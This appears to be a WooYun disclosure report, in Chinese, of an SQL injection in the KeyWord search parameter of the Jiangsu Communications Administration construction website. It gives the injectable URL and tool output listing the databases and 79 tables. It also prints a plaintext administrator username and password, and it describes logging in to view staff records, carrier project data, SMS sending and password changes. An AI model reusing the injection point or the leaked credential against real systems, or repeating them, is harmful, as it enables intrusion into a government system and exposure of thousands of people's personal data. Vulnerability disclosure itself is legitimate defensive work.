WooYun.org

影响江苏移动、联通、电信、铁通、中国石化等众多企业。
不知道有没有精华！
一切的一切源于江苏省通信管理局旗下网站存在的sql注入漏洞
注入点位于江苏省通信建设网页面搜索处
搜索个11
http://www.jstc.gov.cn/Page/System/NewsAllList.aspx?KeyWord=11
参数KeyWord过滤不严，导致注入

available databases [11]:
[*] BBS
[*] EAF
[*] EBS
[*] EPMS
[*] JSCA
[*] jsca-prod
[*] master
[*] model
[*] MPMS
[*] msdb
[*] tempdb
Database: jsca-prod
[79 tables]
+------------------------------------+
| EAF_AccessLog |
| EAF_AccessLogSession |
| EAF_CommittedEmail |
| EAF_CommittedSms |
| EAF_SysConfig |
| EAF_SysProperty |
| EAF_UploadFile |
| EAF_WorkFlowStep |
| EAF_WorkFlowStep20140315 |
| Log |
| TA_EnterpriseAccount |
| TA_JscaUser |
| TA_OperatorAccount |
| TI_Info |
| TI_PicNews |
| TI_StarEnterprise |
| TN_AdministrativeReport |
| TN_ConstructorAuthV2 |
| TN_Employee |
| TN_Enterprise |
| TN_EnterpriseCert |
| TN_EnterpriseCertApplyOrder |
| TN_EnterpriseCertInspect |
| TN_EnterpriseDataChangeOrder |
| TN_EnterpriseEquipment |
| TN_EnterpriseMember |
| TN_EnterpriseOutsideCertApplyOrder |
| TN_EnterpriseOutsideInfo |
| TN_EnterpriseProject |
| TN_EnterpriseRevenue |
| TN_EvaluationByEnterprise |
| TN_EvaluationByOperator |
| TN_LiveBuiltCertApplyOrder |
| TN_OpeningTime |
| TN_PaymentRecord |
| TN_PersonalCertChange |
| TN_SafetyDelayOrder |
| TN_SafetyWorkerAuthV2 |
| TN_TrainingApplication |
| TN_TrainingNotice |
| TP_Project |
| TP_ProjectBatch |
| TP_ProjectCompany |
| TP_ProjectSpotCheck |
| T_AccountLogin |
| T_Appraise |
| T_BatchAppraise |
| T_CommCompanyAppraise |
| T_CompanyBid |
| T_CompanyEnter |
| T_CompanyIntegrity |
| T_CompanyMultidateInfo |
| T_CompanyOuterProvinical |
| T_CompanyUnitAppraise |
| T_Counter |
| T_ExcellentProject |
| T_ExcellentProjectPerson |
| T_Expert |
| T_ExpertAccount |
| T_ExpertBack |
| T_ExpertModify |
| T_ItemAppraise |
| T_JscaCompanyAppraise |
| T_Notice |
| T_NoticeCounter |
| T_NoticeReceive |
| T_OtherBatchAppraise |
| T_OtherCommCompanyAppraise |
| T_OtherCompanyUnitAppraise |
| T_OtherItemAppraise |
| T_OtherJscaCompanyAppraise |
| T_PolicyRegulation |
| T_SendMessage |
| T_StarCompany |
| T_Tender |
| T_Todo |
| T_WorkMistakes |
| Table_1 |
| sysdiagrams |
+------------------------------------+

23524个员工

261万访问记录

select出管理账户密码，密码居然是明文
admin fabaochu2013
登陆进去看看，那叫一个壮观！

可以发送短信哦！

27537个项目

移动、电信等等的好多项目

运营商列表

可直接修改密码

移动、联通、电信等企业的好多项目

电信、中国石化等等企业人员信息

信息非常全啊